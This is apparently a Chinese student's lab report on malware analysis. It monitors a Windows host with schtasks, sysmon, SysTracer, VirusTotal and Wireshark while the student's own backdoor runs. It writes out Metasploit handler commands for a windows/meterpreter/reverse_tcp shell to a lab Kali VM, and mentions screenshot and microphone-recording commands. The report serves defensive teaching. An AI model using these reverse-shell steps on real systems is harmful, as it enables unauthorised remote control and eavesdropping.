网络对抗实验四-恶意代码分析
Exp4 恶意代码分析
实验基础
实验目标
1.监控自己系统的运行状态,看有没有可疑的程序在运行。
2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件;分析工具尽量使用原生指令或sysinternals,systracer套件。
3.假定将来工作中你觉得自己的主机有问题,就可以用实验中的这个思路,先整个系统监控看能不能找到可疑对象,再对可疑对象进行进一步分析,好确认其具体的行为与性质。
基础知识
1. 恶意代码
-
定义:
泛指指没有作用却会带来危险的代码,即使计算机按照攻击者的意图运行以达到恶意目的的指令集合。
- 指令集合: 二进制执行文件, 脚本语言代码, 宏代码, 寄生在文件、启动扇区的指令流
-
特征:①本身是计算机程序 ②有恶意的目的 ③ 通过执行发生作用
-
目的:技术炫耀/恶作剧、远程控制、窃取私密信息、盗用资源、 拒绝服务/破坏,...
-
常见的恶意代码:
计算机病毒、蠕虫、恶意移动代码、后门、特洛伊木马、僵尸程序、Rootkit、逻辑炸弹...
- 计算机病毒:需要传播受感染的驻留文件来进行复制,一般需要宿主程序被执行或人为交互才能运行。普通病毒的传染能力主要是针对计算机内的文件系统而言。
- 蠕虫:是一种通过网络传播的恶性病毒,它不使用驻留文件即可在系统之间进行自我复制,蠕虫病毒的传染目标是互联网内的所有计算机。
2. schtasks
- 定义:计划命令,程序以定期或在特定时间运行,在计划中添加和删除任务,启动和停止按需任务,以及显示和更改计划任务。
- schtasks.exe 工具与控制面板 中的 "计划任务" 执行相同的操作。
- 语法:schtasks +参数 参数如下:
- change:更改任务
- create:计划新的任务。
- delete:删除计划任务。
- end:停止任务启动的程序。
- query:显示计划在计算机上运行的任务。
- run:立即启动计划任务。
- 实例:
schtasks /create /TN netstat1217 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstatlog.txt
TN:
Task Name,本例中是netstat1217
SC:
表示计时方式,我们以分钟计时填MINUTE
MO:
MOdifier
TR:
Task Run,要运行的指令是 netstat
bn:
b表示显示可执行文件名,n表示以数字来显示IP和端口
">
":表示输出重定向,将输出存放在c:\netstatlog.txt文件中
- 备注:
- /Tn 和 /s 参数用于识别任务。 /Tr、 /ru 和 /rp 参数指定可以更改的任务的属性
- /Ru 和 /rp 参数指定运行任务所用的权限。 /U 和 /p 参数指定用于更改任务的权限。
3.sysmon
-
定义:sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具。它以系统服务和设备驱动程序的方法安装在系统上,并保持常驻性。
-
sysmon用来监视和记录系统活动,并记录到windows事件日志,可以提供有关进程创建,网络链接和文件创建时间更改的详细信息。
-
可选择的事件过滤器有:
- ProcessCreate 进程创建
- FileCreateTime 进程创建时间
- NetworkConnect 网络链接
- ProcessTermina 进程结束
- DriverLoad 驱动加载
- ImageLoad 镜像加载
- CreateRemoteTh 远程线程创建
- RawAccessRead 驱动器读取
- ProcessAccess 进程访问
- FileCreate 文件创建
- RegistryEvent 注册表事件
- FileCreateStre 文件流创建
-
监控系统的基本操作可分为以下三步:
-
确定要监控的目标:写好过滤条件(相当于白名单),多多益善,信任的程序尽量不要记到日志里(日志多了不好分析)。
写好配置文件
.xml
文件- 记录所有网络连接就可以简单写为
<NetworkConnect>*</NetworkConnect>
exclude
相当于白名单,凡是未声明的都记录下来。include
相当于黑名单。- 注意规则大小写敏感。
- 记录所有网络连接就可以简单写为
-
-
启动sysmon
实验内容
1.使用schtasks指令监控系统
(使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述分析结果)
创建任务计划netstat1329
在命令行中输入schtasks /create /TN netstat1329 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > e:\CTFweb\netstatlog.txt
- 在E盘中创建一个脚本文件
netstat1329.bat
创建了一个netstat1329.txt
文本文件,并写入以下内容后修改为.bat
格式
date /t >> e:\CTFweb\netstat1329.txt
time /t >> e:\CTFweb\netstat1329.txt
netstat -bn >> e:\CTFweb\netstat1329.txt
- 在Windows的任务计划程序中,可以查看到新创建的任务:
- 双击这个任务,点击操作并编辑,将“程序或脚本”改为我们创建的
netstat1329.bat
批处理文件的位置,点击确定。
- 在常规选项中勾选使用最高权限运行
- 在"条件"选项卡中可以看到,电源选项中默认操作为“只有在计算机使用交流电源时才启动此任务”,那么使用电池电源时就会停止任务。为了我们统计足够多的数据,这个选项取消掉。
- 右键点击运行
- 这时可以看到D盘下出现了三个文件,如下图示:
在wps的Excel表格中分析记录的数据
- 导入文本数据:新建excel文件->选择上方“数据”->选择“导入数据”->选择“导入数据”->选择“直接打开数据文件”
选择对应文件夹中的txt文件
依次选择其他编码、分隔符号,然后将分隔符号的所有选项都选中,点击完成即可
创建数据透视图
选中我们所要分析的列,选择“插入”——数据透视图——新工作表
在新的工作表中,在右侧字段列表中筛选掉我们不需要的字段
将字段列表拖到下方的行和值中,就生成了我们所需的数据透视图
生成的数据透视图
排序后的结果:
分析:
- 如图所示,出现数量最多的时TCP,连接的外部地址是我打开的相关页面,大多为http和https连接;
- 接下来是SearchHost.exe,用来维护系统稳定性的组件,在电脑开启之后自动运行,不能终止;
- 接下来是wps云端运行的程序,为用户提供云端备份文档服务:
- et.exe是excel表格文档进程;
- msedge.exe是Microsoft Edge网页浏览器的应用程序,它是 Microsoft Internet Explorer Web 浏览器的继任者;
- 其他部分是我正在使用程序相关进程……
2.使用sysmon工具监控系统(安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。)
2.0 下载工具
根据链接(附件 · wildlinux/NetSec - Gitee.com)下载工
2.1 明确要监控的目标。
我在这里选择的是:
- 进程创建
ProcessCreate
- 进程创建时间
FileCreatTime
- 网络连接
NetworkConnect
、远程线程创建CreateRemoteThread
。
2.2 编写xml配置文件:
在sysmon所在的文件夹下新建sysmon1329.xml文件:
内容如下:
点击查看代码
<Sysmon schemaversion="3.10">
<!-- Capture all hashes -->
<HashAlgorithms>*</HashAlgorithms>
<EventFiltering>
<!-- Log all drivers except if the signature -->
<!-- contains Microsoft or Windows -->
<ProcessCreate onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
</ProcessCreate>
<FileCreateTime onmatch="exclude" >
<Image condition="end with">chrome.exe</Image>
</FileCreateTime>
<NetworkConnect onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<SourcePort condition="is">137</SourcePort>
<SourceIp condition="is">127.0.0.1</SourceIp>
</NetworkConnect>
<NetworkConnect onmatch="include">
<DestinationPort condition="is">80</DestinationPort>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
<CreateRemoteThread onmatch="include">
<TargetImage condition="end with">explorer.exe</TargetImage>
<TargetImage condition="end with">svchost.exe</TargetImage>
<TargetImage condition="end with">winlogon.exe</TargetImage>
<SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>
</EventFiltering>
</Sysmon>
参数解释:
exclude
:相当于白名单,不用记录。include
相当于黑名单。ProcessCreate
:进程创建。Image condition
要根据自己使用的浏览器更改。由于我使用的是Chrome浏览器,所以在我的配置文件中,排除了(不记录)进程名为Chorme.exe的进程。但是要记录以cmd.exe
结尾的进程记录。(大家如果有用别的浏览器的:比如Edge,在这里可以替换)FileCreatTime
:进程创建时间。这里排除(不记录)浏览器进程的创建时间。NetworkConnect
:网络连接。过滤掉(不记录)浏览器的网络连接,源IP地址为127.0.0.1
、源端口为137的连接服务。包含(记录)目的端口为80(http)
和443(https)
的网络连接。137端口
:提供局域网中ID或IP查询服务,一般安装了NetBIOS协议后,该端口会自动处于开放状态。127.0.0.1
:环回地址,表示本机。CreateRemote
:远程线程创建。记录的线程如下:explorer.exe
:Windows程序管理器或者文件资源管理器svchost.exe
:一个属于微软Windows操作系统的系统程序,是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。winlogon.exe
:Windows NT
用户登陆程序,用于管理用户登录和退出。powershell.exe
:专为系统管理员设计的新 Windows 命令行外壳程序。该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用。
2.3 启动sysmon
要以管理员的身份运行命令行
输入命令Sysmon64.exe -i sysmon1329.xml
,安装sysmon,结果如下:
2.4 使用事件查看器分析进程
- 查看“事件查看器”,选择日志的位置,应用程序和服务日志
/Microsoft/Windows/Sysmon/Operational
在这里,我们可以看到按照配置文件的要求记录的新事件,以及事件ID、级别、任务类别、详细信息等。
- 运行我们在实验二中生成的后门程序
20201329_backdoor.exe
,并启动回连到kali虚拟机中。我们可以在事件查看器中找到此条日志
输入msfconsole
,依次输入以下命令进行监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.162.130 #kali的ip,和生成后门程序时指定ip相同
set LPORT 1329
exploit
在主机中双击后门程序运行后,输入shell
指令,获得Windows的cmd
kali端输入shell
日志如下:
在获取到命令行后,有一条有关conhost.exe的记录
- 上网搜索资料后,我了解到
conhost.exe
进程是微软为其Vista以及Win7、Windows 2008(服务器版)系统定义的系统文件,在系统中被称为“控制台窗口主机”。其功能主要是为命令行程序(cmd.exe
)提供类似于csrss.exe
进程的图形子系统等功能支持。
输入ipconfig
日志如下:
-
我们可以发现,此时的路径变为了SysWOW64,这是个什么文件夹呢?与system32有什么区别和联系呢?
SysWow64文件夹,是64位Windows,用来存放32位Windows系统文件的地方。
Windows下面的命令行是64位的,而kali回连获得的是32位的,所以会出现此条日志。
在事件查看器中,我们还可以发现许多
svchost.exe
的记录。svchost.exe
是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。
3.使用VirusTotal静态分析恶意软件
把生成的后门程序20201329_backdoor.exe
在VirusTotal进行分析
结果如下,被杀软查出来的比率还是蛮高的
继续查看此恶意软件的基本属性,可以看出它的SHA-1、MD5摘要值、文件类型、文件大小,以及TRiD文件类型识别结果。
还可以看到此软件的头部、各个节的相关信息,以及引入的动态链接库
4.使用Systracer动态分析
4.0 工具下载
附件 · wildlinux/NetSec - Gitee.com
systracer可以记录下计算机某个时刻的状态。然后过一段时间后再次记录。通过比较两次记录中计算机的不同进行相应的分析。
4.1 拍摄不同状态快照
点击右侧的take snapshot
,拍摄快照。点击start开始,60秒后会自动停止,不用点击stop。
我们总共截了以下五张快照:
- 快照一:未移植后门程序,保存为
Snapshot #1
- 快照二:运行后门程序并在kali中实现回连,保存为
Snapshot #2
- 快照三:在kali中使用
dir
指令,保存为Snapshot #3
- 快照四:在kali中使用
screenshot和record_mic
指令,保存为Snapshot #4
- 快照五:在kali中使用
getuid
指令,保存为Snapshot #5
4.2 对比快照进行分析
分析恶意软件在执行过程中系统有哪些变化
拍摄完快照后,在右下角选择对比那两张快照,点击compare
键或者View Differences Lists
比对各快照,
对比快照一和快照二(后门程序运行前后)
点击View Differences Lists
——>选中Only differences
——>选中Opened Ports
- 可以看到新增开放了我们的后门程序
20201329backdoor.exe
连接的本地地址和目标地址以及端口号
在Opened Handlers
中,我们可以看到增加了一些和后门有关的文件,也删除了一些文件,发生了键值的变化。
在loaded dll
中,查看启动后门程序后删除的dll文件
在running processes
中,点击 20201329backdoor.exe可以与看到与此后门程序相关的系统进程。
对比快照2和快照3
- 点击
Register
,可以看到快照3对根键中的内容进行了修改,对注册表中的配置信息进行了修改
在opened ports
中看到主机端口与虚拟机ip及相关端口间的交互:
在running processes
中,查看被删除的conhost.exe
conhost.exe
全称是Console Host Process
, 即命令行程序的宿主进程。简单的说他是微软出于安全考虑,在windows 7和Windows server 2008中引进的新的控制台应用程序处理机制。
对比快照3和快照4(4使用了screenshot和record_mic指令)
- 我们发现多出来了svchost程序
svchost.exe
是微软Windows操作系统中的系统文件,微软官方对它的解释是:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。
删除和更改了之前建立的调用许多DLL的过程
对比快照4和快照5(5使用了getuid指令)
可以发现注册表有变化
新建了很多连接,其中有与后门程序相关的Apache HTTP Server
5 使用wireshark抓包分析恶意软件
5.0 软件下载
https://www.wireshark.org/download.html
5.1 选择接口VMware
5.2 设置过滤条件
把过滤规则设置为ip.addr == 192.168.163.190
5.3 运行回连 抓包
运行后门20201329backdoor.exe
,在kali中回连。
- 可以清楚地看到主机向kali的1329端口发送建立连接的包
- 也有一些传送网络消息的ICMP数据包
在kali中输入dir
,发现wireshark又捕获到了许多PSH+ACK包,可以判断有数据在传输
实验问题回答
(1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
- 使用schtasks指令监控系统
- 建立一个脚本文件
- 添加任务计划程序,隔一段时间就记录下想要知道的内容
- 一段时间后进行分析
- 使用sysmon工具监控系统
- 配置好自己的xml文件
- 设置好黑名单和白名单
- 一段时间后查看记录日志
- 使用PE Explorer分析恶意软件
- 查看哪些文件修改了我们主机的那些信息
- 使用systracer工具
- 抓捕一些快照
- 对比分析
(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
- 静态分析
- 使用
virustotal
或virscan
,对恶意软件进行分析,可以得到它的基本属性、头部、各个节以及引用的链接库的信息。 - 使用
PEiD
,查看恶意软件是否加壳,加的什么壳;进行脱壳。 - 使用
PE Explorer
,查看恶意软件的信息 - 使用
String
工具,分析恶意程序是否包含可疑字符串
- 使用
- 动态分析
- 使用
SysTracer
,抓捕快照,查看此恶意软件对注册表、文件、应用等的修改 - 使用
Wireshark
抓包,查看分析恶意软件的通信过程 - 使用
Process Explorer
或Process Monitor
,监视文件系统、注册表,分析恶意软件的活动
- 使用
问题与解决
1.创建数据透视表出现问题,如图:
导入数据时没有从第一格导入,导致整个表格前有许多空白格,删除即可
2.输入操作指令后,在事件查看器中没有找到对应的程序日志
A:需要点击右边的刷新,才能在操作之后显示出新的日志信息
3.使用s'ystrace软件拍摄快照时出现故障无法拍摄或者拍摄异常。
A:systrace软件点击拍摄快照之后一分钟后会自动停止,保存的命名也会按照次序依次命名。
4.使用wireshark进行抓包的时候,输入kaliIP地址没有出现相关数据。
A:在打开软件抓包前,使用接口VMware
实验体会与感想
本次实验主要运用一些软件对我的电脑进行进行监控查看和分析,通过分析结果可以发现在电脑运行的时候的一些后台程序,大部分都是我主动打开并且允许运行的程序。为了后门程序能够成功进行kali回连,我在做实验的时候短暂关闭了火绒杀毒软件,保证回连的顺利,但其实这也有小部分隐患,部分我不知道的程序可能会悄悄运行……
其实在使用systracer进行抓包的时候,除了一些跟实验有关的数据我能够看懂,其他的数据和运行的程序我都看不太懂,一一在网上查询之后才知道是电脑运行的必要条件……
对于这些软件的运用,我还是需要更多的时间和精力来了解。